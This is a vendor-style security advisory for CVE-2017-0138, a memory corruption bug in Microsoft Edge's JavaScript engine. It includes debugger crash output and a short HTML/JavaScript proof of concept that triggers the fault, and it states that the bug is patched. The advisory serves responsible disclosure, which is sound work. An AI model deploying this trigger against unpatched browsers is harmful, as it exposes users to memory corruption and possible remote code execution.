security-assessment.com

Vulnerability Advisory

Name	Microsoft Edge ‘SparseArraySegment’ Memory Corruption Vulnerability
CVE	CVE-2017-0138
Vendor Website	http://www.microsoft.com/
Date Released	03/04/2017
Affected Software	Microsoft Edge
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(eac.e2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000002 ebx=0210c170 ecx=ffffb062 edx=fffffffe esi=0210c170 edi=02120000
eip=67a25214 esp=025dba10 ebp=025dba20 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010282
jscript9!Js::SparseArraySegment<void *>::ClearElements+0x10:
67a25214 f3ab            rep stos dword ptr es:[edi]
1:018> k
ChildEBP RetAddr
025dba10 67cfdd2b jscript9!Js::SparseArraySegment<void *>::ClearElements+0x10
025dba20 67c0e809 jscript9!Js::SparseArraySegment<void *>::Truncate+0x22
025dba44 67c0e4b6
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x7369e
025dbab4 67a818d5
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x73355
025dbaf8 67a7192b jscript9!Js::JavascriptArray::EntrySort+0xa1
025dbb88 67997650 jscript9!Js::JavascriptFunction::EntryApply+0x29f
025dbbd8 6799b491 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
025dbe7c 679f822b jscript9!Js::InterpreterStackFrame::Process+0x3a10
025dbeb4 679f828a jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
025dc158 6799e629 jscript9!Js::InterpreterStackFrame::Process+0x49a8
025dc294 02830fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
025dc2a0 67997650 0x2830fe9
025dc2e4 67997c58 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
025dc358 67997b8d jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
025dc3a0 67997b20 jscript9!ScriptSite::CallRootFunction+0x42
025dc3ec 67a8acb8 jscript9!ScriptSite::Execute+0xd2
025dc474 67a89e8f jscript9!ScriptEngine::ExecutePendingScripts+0x1c6
025dc508 67a8b51a jscript9!ScriptEngine::ParseScriptTextCore+0x300
025dc558 6a108a74 jscript9!ScriptEngine::ParseScriptText+0x5a
025dc590 69cf8b98 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
025dc5e8 6a1094e9 MSHTML!CJScript9Holder::ParseScriptText+0x5f
025dc658 69cf8faf MSHTML!CScriptCollection::ParseScriptText+0x175
025dc744 69cf9665 MSHTML!CScriptData::CommitCode+0x31e
025dc7c4 69cf9fdd MSHTML!CScriptData::Execute+0x232
025dc7e4 6a09144b MSHTML!CHtmScriptParseCtx::Execute+0xed
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<body>
<script>
set = new Set();
array = [];
set.toString = (function() { try { Array.prototype.push.call(array, this.array, array, array); } catch(e) { } });
array + set;
Array.prototype.splice.apply(array, [array, set]);
Array.prototype.reverse.apply(array, [array]);
Array.prototype.sort.apply(this.array, [(function() {}), this]);
</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch in the April 2017 Security Updates to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com